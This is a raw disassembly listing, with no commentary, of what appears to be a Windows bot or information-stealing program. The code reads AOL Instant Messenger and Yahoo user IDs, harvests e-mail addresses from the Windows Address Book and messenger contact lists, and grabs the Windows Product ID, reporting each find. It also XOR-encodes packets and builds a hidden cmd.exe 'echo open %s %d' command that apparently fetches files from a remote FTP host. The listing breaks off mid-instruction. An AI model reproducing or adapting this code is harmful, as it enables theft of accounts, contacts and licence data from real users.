0BB39E800h, 0C483FFFCh, 0E8006A1Ch dd 24FA2D8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 448F40h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 0E8900000h, 24AA25Ch, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 0A216E890h, 0C085024Bh dd 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004446h dd 20244489h, 1C16C4E8h, 0B99000h, 33000002h, 24BC8DC0h dd 6F4h, 0F310C483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 252A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24FA190h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D30h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024FA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79E4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 7068006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A2Ch, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B646800h dd 0F08B0044h, 8A1C6851h, 90560044h, 1C154CE8h, 4E6C6800h dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h dd 448D5374h, 4687C24h, 5000448Ah, 811C9FE8h, 0C4839077h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89E86851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0E8905718h dd 7780AAA5h, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h dd 24448B04h, 0E890501Ch, 24F9FD8h, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489C068h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A2C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B8h dd 6852F08Bh, 4489A8h, 3EE89056h, 68001C14h, 444E6Ch, 71E89056h dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 0E850646Ah dd 7780AAF9h, 0CC48390h, 4C74C085h, 7C244C8Dh, 44898C68h dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448970h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h, 90560A74h dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024F9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2960000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_448908 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 2910000h nop test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx call near ptr 2930000h nop jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488FC mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h call near ptr 2960000h nop test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 2910000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2960000h mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F40 push eax nop call near ptr 2910000h mov eax, [esp+14h] push eax nop call near ptr 2930000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 2870478h nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi call near ptr 2730000h nop mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 28507E8h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx call near ptr 273072Dh nop mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 2730976h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2960000h test eax, eax jnz loc_43680E mov ebx, off_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A48 push ecx call ebx ; sub_5F74D1 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 2910000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A3C lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h push 64h nop call near ptr 2850000h jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 2930000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B8B+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2930000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B7F+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2930000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B74 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2930000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2930000h push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2960000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 2910000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j call near ptr 2930000h nop loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5F74D1 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor 